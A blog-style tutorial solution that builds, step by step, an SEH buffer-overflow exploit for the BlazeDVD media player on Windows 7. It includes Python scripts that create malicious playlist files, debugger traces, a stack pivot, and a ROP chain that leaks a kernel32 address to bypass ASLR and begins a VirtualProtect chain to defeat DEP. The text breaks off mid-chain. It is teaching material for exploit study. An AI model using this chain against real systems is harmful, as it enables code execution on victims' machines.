THE

SPRAWL

  •  
  •  
  •  
  • At the end of the Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s Cube there is an exercise challenging readers to write a complete ASLR/DEP bypassing exploit for BlazeDVD 5.1 Professional. The exercise contains several tips including a method of bypassing ASLR by using a leaked kernel32.dll address on the stack and bypassing DEP by using the VirtualProtect method. The solution below will develop a complete exploit on Windows 7 SP1 x86 with DEP set to AlwaysOn.

    NOTE: I was not able to exploit the BlazeDVD 5.1 executable attached to the tutorial simply due to BlazeDVD refusing to run on any version of Windows 7 (x86/64bit/SP0/SP1). However, exploit-db contains a version of BlazeDVD 5.01 which does run on Windows 7 with DEP enabled. You can get it here

    NOTE: The software must be in either TRIAL mode or fully registered before you can open the exploit payload.

    Enabling DEP

    Before proceeding with the exercise I set DEP to AlwaysOn with the following command:

    bcdedit /set nx AlwaysOn
    

    Verify the setting was enabled as follows:

    C:\Windows\system32>bcdedit /enum
    Windows Boot Loader
    -------------------
    identifier              {current}
    device                  partition=C:
    path                    \Windows\system32\winload.exe
    description             Windows 7
    locale                  en-US
    inherit                 {bootloadersettings}
    recoverysequence        {4ac79535-c4d5-11e1-82eb-d4607931d729}
    recoveryenabled         Yes
    osdevice                partition=C:
    systemroot              \Windows
    resumeobject            {4ac79533-c4d5-11e1-82eb-d4607931d729}
    nx                      AlwaysOn
    

    Reboot Windows to complete the configuration.

    Finding the vulnerability

    First let's observe the vulnerability by generating a malicious playlist and opening it with BlazeDVD. The following PoC will generate the necessary payload:

    #!/usr/bin/env python
    # PoC1.py
    junk = "A"*1000
    
    payload = junk
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    After opening the playlist in BlazeDVD the following crash occurs:

    (e64.df8): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=03058cf0 edx=00000042 esi=030528a0 edi=6405362c
    eip=41414141 esp=0012f424 ebp=03052470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    41414141 ??              ???
    

    This looks like a vanilla Direct RET buffer overflow; however, the tutorial suggests the SEH attack vector which also appears to be exploitable:

    0:000> !exchain
    0012f56c: 41414141
    Invalid exception stack at 41414141
    

    Both SEH and NSEH were overwritten with the values that we control, so it is safe to proceed with SEH based exploitation.

    Finding the Offset

    Let's figure out how far we need to write in order to overwrite SEH. To accomplish this, I have generated a 1000 byte pattern using mona.py as follows:

    !mona pattern_create 1000
    

    Below is the updated PoC which will be used to figure out the offset:

    #!/usr/bin/env python
    # PoC2.py
    
    # 1000 byte pattern
    pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    
    payload = pattern
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    Below is the updated SEH chain view inside a debugger:

    0:000> !exchain
    0012f56c: 41347541
    Invalid exception stack at 33754132
    

    In the example above NSEH was overwritten with the pattern 33754132 and SEH was overwritten with the pattern 41347541. However, because DEP is enabled, we can not simply pivot to NSEH and run instructions from the stack. As a result we are only interested in the offset of SEH.

    Using mona.py I have calculated the offset of SEH as follows:

    !mona pattern_offset 41347541
    Message= - Pattern Au4A (0x41347541) found in Metasploit patternat position 612
    

    So we can control the value of SEH by creating a junk buffer of 612 bytes. Let's confirm this finding with the following PoC:

    #!/usr/bin/env python
    # PoC2a.py
    
    junk = "A"*612
    
    payload = junk
    
    seh = "BBBB"
    
    payload = payload + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    As the following chain output illustrates we now control the value of SEH:

    0:000> !exchain
    0012f56c: 42424242
    Invalid exception stack at 41414141
    

    Pivoting to the stack

    At this point we need to transfer the flow of execution back to the stack area under our control. This action can be accomplished by observing the location of ESP at the time SEH gets executed relative to the location of our payload on the stack. Here is a PoC to help us figure this out:

    #!/usr/bin/env python
    # PoC3.py
    
    import struct
    
    pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    payload = pattern[:612]
    
    seh = struct.pack('L',0x600148e5) # RETN
    
    payload = payload + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    I have used the same offset pattern in the above PoC; however, in this case I am only using the first 612 bytes to get to SEH. The address 0x600148e5 was randomly selected with the only purpose of setting a breakpoint at that location and calculating ESP relative offset once we hit it.

    Let's set the breakpoint and let BlazeDVD run:

    0:000> bp 0x600148e5
    0:000> bl
     0 e 600148e5     0001 (0001)  0:**** Configuration!DllCreateObject+0xcdd5
    0:000> g
    

    Next, load the payload and continue execution until we hit the breakpoint:

    (ca4.f88): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=049d8cf0 edx=00000042 esi=049d28a0 edi=6405362c
    eip=37694136 esp=0012f424 ebp=049d2470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    37694136 ??              ???
    0:000> g
    Breakpoint 0 hit
    eax=00000000 ebx=00000000 ecx=600148e5 edx=777871cd esi=00000000 edi=00000000
    eip=600148e5 esp=0012f03c ebp=0012f05c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    Configuration!DllCreateObject+0xcdd5:
    600148e5 c3              ret
    

    At this point ESP is pointing to 0x0012f03c. After looking through the stack I have located the beginning of the payload at the following location:

    0:000> dd 0012f424 - 10
    0012f414  fffffd34 000002cc 00000018 00000000
    0012f424  6a41336a 356a4134 41366a41 6a41376a
    0012f434  396a4138 41306b41 6b41316b 336b4132
    0012f444  41346b41 6b41356b 376b4136 41386b41
    0012f454  6c41396b 316c4130 41326c41 6c41336c
    0012f464  356c4134 41366c41 6c41376c 396c4138
    0012f474  41306d41 6d41316d 336d4132 41346d41
    0012f484  6d41356d 376d4136 41386d41 6e41396d
    

    Notice that the payload begins at 0012f424 and appears to be cut off. Searching for the pattern 6a41336a in mona confirms that the first 280 bytes of the payload were cut off.

    !mona pattern_offset 6a41336a
     - Pattern j3Aj (0x6a41336a) found in Metasploit patternat position 280
    

    Back to the stack pivot calculation: the address 0012f424 appears to be 1000 bytes away from ESP at the time the breakpoint is hit:

    0:000> ? 0012f424 - esp
    Evaluate expression: 1000 = 000003e8
    

    So ideally, we need to find a ROP gadget equivalent to ADD ESP 3E8 # RETN to pivot precisely to the beginning of the stack.

    To find a suitable stack pivot I have used mona's stackpivot searching functionality. Load BlazeDVD executable in the Immunity Debugger and run the following command:

    !mona stackpivot -n -o -distance 1000
    

    NOTE: Be sure you are running Immunity Debugger with sufficient privileges to write to mona's output folder.

    After a few minutes, mona will generate stackpivot.txt file in its output directory (Immunity Debugger's program folder by default). Here is the first entry that will send us almost to the beginning of the payload:

    0x600148df : {pivot 1024} :  # ADD ESP,400 # RETN    ** [Configuration.dll] 
    ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.19.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll) **
    |   {PAGE_EXECUTE_READ}
    

    Let's update the previous PoC to calculate precisely where ADD ESP,400 pivot will land:

    #!/usr/bin/env python
    # PoC3.py
    import struct
    
    pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    payload = pattern[:612]
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = payload + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    Just as before, let's set a breakpoint at the stack pivot:

    0:000> bp 0x600148df
    0:000> bl
     0 e 600148df     0001 (0001)  0:**** Configuration!DllCreateObject+0xcdcf
    0:000> g
    

    Load the playlist and observe the crash:

    (b48.378): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=049e8cf0 edx=00000042 esi=049e28a0 edi=6405362c
    eip=37694136 esp=0012f424 ebp=049e2470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    37694136 ??              ???
    0:000> g
    Breakpoint 0 hit
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=600148df esp=0012f03c ebp=0012f05c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    Configuration!DllCreateObject+0xcdcf:
    600148df 81c400040000    add     esp,400h
    0:000> t
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=600148e5 esp=0012f43c ebp=0012f05c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Configuration!DllCreateObject+0xcdd5:
    600148e5 c3              ret
    0:000> dd esp
    0012f43c  6b41316b 336b4132 41346b41 6b41356b
    0012f44c  376b4136 41386b41 6c41396b 316c4130
    0012f45c  41326c41 6c41336c 356c4134 41366c41
    0012f46c  6c41376c 396c4138 41306d41 6d41316d
    0012f47c  336d4132 41346d41 6d41356d 376d4136
    0012f48c  41386d41 6e41396d 316e4130 41326e41
    0012f49c  6e41336e 356e4134 41366e41 6e41376e
    0012f4ac  396e4138 41306f41 6f41316f 336f4132
    

    The ESP register points to 0012f43c which contains the pattern 6b41316b (offset 304) which is expected considering we are jumping extra 24 bytes from the beginning of the payload in addition to the 280 bytes that were cut off by the program.

    Just to prove the validity of the stack pivot, let's update the previous PoC and trace through it:

    #!/usr/bin/env python
    # PoC4.py
    import struct
    
    junk1 = "A"*304 # Initial junk that will be cut off (first 280 bytes are skipped)
    
    rop = "BBBB"    # First ROP
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    Here is the debugging session corresponding to the updated PoC:

    0:000> bp 0x600148df
    0:000> bl
     0 e 600148df     0001 (0001)  0:**** Configuration!DllCreateObject+0xcdcf
    0:000> g
    (fe8.dd0): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=04a58cf0 edx=00000042 esi=04a528a0 edi=6405362c
    eip=41414141 esp=0012f424 ebp=04a52470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    41414141 ??              ???
    0:000> g
    Breakpoint 0 hit
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=600148df esp=0012f03c ebp=0012f05c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    Configuration!DllCreateObject+0xcdcf:
    600148df 81c400040000    add     esp,400h
    0:000> t
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=600148e5 esp=0012f43c ebp=0012f05c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Configuration!DllCreateObject+0xcdd5:
    600148e5 c3              ret
    0:000> t
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=42424242 esp=0012f440 ebp=0012f05c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    42424242 ??              ???
    

    As you can see we have landed precisely into our first dummy ROP instruction at 0xBBBBB. At this point we are ready to start building the ROP chain to bypass ASLR and DEP.

    Leaking the kernel32 address

    As hinted in the tutorial, it is possible to bypass ASLR protection and call arbitrary kernel32 functions by extracting a leaked kernel32 address on the stack and using it as a reference to calculate a desired API function (e.g. VirtualProtect).

    First let's find the location of the leaked memory address:

    0:000> dds 0012ff8c
    0012ff8c  76c03c45 kernel32!BaseThreadInitThunk+0x12
    

    At this point, we need to figure out how to:

    • Load the stack address (ESP or EBP) into a register (e.g EAX)
    • Advance that register to the stack memory location with the leaked kernel32 address
    • Put the leaked kernel32 address into the register.

    Before proceeding any further, let's find all suitable ROP gadgets using mona.py as follows:

    !mona rop -n -o
    

    After a few minutes open rop_suggestions.txt and rop.txt in mona's output directory (Immunity Debugger's program folder by default). We are now ready to look for ROP gadgets to perform the extraction.

    First let's figure out a way to get the current stack address into EAX. EAX is the register of choice because of a nice MOV EAX,DWORD PTR DS:[EAX] instruction which will allow us to extract the kernel32 address.

    The following instruction looks interesting because it will get the value of EBP (0012f05c) into EAX:

    0x61618563 (RVA : 0x00018563) : # XCHG EAX,EBP # RETN    
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll)
    **   |   {PAGE_EXECUTE_READ}
    

    Next we need to make EAX point to the leaked kernel32 address at 0012ff8c. In order to avoid null bytes, I will subtract a negative number from EAX as follows:

    0:000> ? ebp - 0012ff8c
    Evaluate expression: -3888 = fffff0d0
    

    One suitable ROP gadget to accomplish the substraction is SUB EAX,ECX in EPG.dll:

    0x6162938a :  # SUB EAX,ECX # RETN    
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll)
    **   |   {PAGE_EXECUTE_READ}
    

    Now we just need to put the value fffff0d0 into ECX:

    0x616301d7 :  # POP ECX # RETN    
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll)
    **   |   {PAGE_EXECUTE_READ}
    

    At last we need to find an instruction of the form MOV EAX, [EAX]:

    0x6163227d (RVA : 0x0003227d) : # MOV EAX,DWORD PTR DS:[EAX] # RETN    
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll)
    **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
    

    Let's put all of this together in the PoC below:

    #!/usr/bin/env python
    # PoC5.py
    import struct
    
    junk1 = "A"*304
    
    # Get kernel32 address from the stack
    rop = struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    Below is the debugging session which illustrates all of the ROP gadgets in action:

    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=61618563 esp=0012f440 ebp=0012f05c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x105c3:
    61618563 95              xchg    eax,ebp
    0:000> t
    eax=0012f05c ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=61618564 esp=0012f440 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x105c4:
    61618564 c3              ret
    0:000> t
    eax=0012f05c ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=616301d7 esp=0012f444 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x28237:
    616301d7 59              pop     ecx
    0:000> t
    eax=0012f05c ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=616301d8 esp=0012f448 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x28238:
    616301d8 c3              ret
    0:000> t
    eax=0012f05c ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6162938a esp=0012f44c ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x213ea:
    6162938a 2bc1            sub     eax,ecx
    0:000> t
    eax=0012ff8c ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6162938c esp=0012f44c ebp=00000000 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x213ec:
    6162938c c3              ret
    0:000> t
    eax=0012ff8c ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6163227d esp=0012f450 ebp=00000000 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x2a2dd:
    6163227d 8b00            mov     eax,dword ptr [eax]  ds:0023:0012ff8c=76c03c45
    0:000> t
    eax=76c03c45 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6163227f esp=0012f450 ebp=00000000 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x2a2df:
    6163227f c3              ret
    

    At the end of the chain EAX contains the leaked kernel32 address 76c03c45. We can now use this address to calculate the address of VirtualProtect.

    From kernel32 to VirtualProtect

    The goal of this section is to calculate the address of kernel32.dll!VirtualProtect so that it could be used to bypass DEP. First let's find the address of VirtualProtect:

    0:000> x kernel32!VirtualProtect
    76bf2341 kernel32!VirtualProtect (<no parameter info>)
    

    Because of ASLR the base address of kernel32.dll is going to change; however, the position of VirtualProtect relative to the leaked kernel32 address 76c03c45 remains constant. Because VirtualProtect (76bf2341) is less than the leaked address (76c03c45), we can get the address of VirtualProtect into EAX while avoiding null byte by adding a negative offset as follows:

    0:000> ? kernel32!VirtualProtect - 76c03c45
    Evaluate expression: -71940 = fffee6fc
    

    The following ADD instruction should do the trick:

    0x6161a228 (RVA : 0x0001a228) : # ADD EAX,EBP # RETN
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll) 
    **   |   {PAGE_EXECUTE_READ}
    

    To pop the correct offset into EBP we can use the following instruction:

    0x61628185 :  # POP EBP # RETN 
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll) 
    **   |   {PAGE_EXECUTE_READ}
    

    Here is an updated PoC that implements above ROP gadgets to calculate VirtualProtect address and place it into EAX:

    #!/usr/bin/env python
    # PoC6.py
    import struct
    
    junk1 = "A"*304
    
    # Get kernel32 address from the stack
    rop = struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    # Calculate VirtualProtect relative to the leaked kernel32 address
    rop+= struct.pack('L',0x61628185) # POP EBP # RETN
    rop+= struct.pack('L',0xfffee6fc) # Offset
    rop+= struct.pack('L',0x6161a228) # ADD EAX,EBP # RETN
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    Below is a snippet of the debugging session illustrating the newly added ROP gadgets:

    eax=76c03c45 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=61628185 esp=0012f454 ebp=00000000 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x201e5:
    61628185 5d              pop     ebp
    0:000> t
    eax=76c03c45 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=61628186 esp=0012f458 ebp=fffee6fc iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x201e6:
    61628186 c3              ret
    0:000> t
    eax=76c03c45 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6161a228 esp=0012f45c ebp=fffee6fc iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x12288:
    6161a228 01e8            add     eax,ebp
    0:000> t
    eax=76bf2341 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6161a22a esp=0012f45c ebp=fffee6fc iopl=0         nv up ei pl nz ac pe cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
    EPG!Ordinal1+0x1228a:
    6161a22a c3              ret
    

    After executing the last gadget, the address of VirtualProtect (76bf2341) will be stored in the EAX register. We are now ready to bypass DEP.

    Bypassing DEP

    The tutorial recommends us to bypass DEP by using VirtualProtect to set the access protection on the memory region containing the shellcode to PAGE_EXECUTE_READWRITE. The following parameters must be specified in order to successfully execute VirtualProtect():

    BOOL WINAPI VirtualProtect(
      __in   LPVOID lpAddress,
      __in   SIZE_T dwSize,
      __in   DWORD flNewProtect,
      __out  PDWORD lpflOldProtect
    );
    

    In order to accomplish this, I will use the VirtualProtect ROP chain automatically generated by mona. You can find it inside rop_chains.txt file. The file was generated by the !mona rop -n -o command in a previous section. Let's take a look at the chain and analyze how it works:

    NOTE: The original chain obtained VirtualProtect address from IAT; however, since we already have the address stored in EAX we can skip that part of the chain.

    # EDI simply contains ROP NOP because we need to have
    # VirtualProtect in ESI so that  lpAddress (ESP) is automatically
    # populated when the PUSHAD is executed.
    0x6403650e, # POP EDI # RETN [MediaPlayerCtrl.dll] 
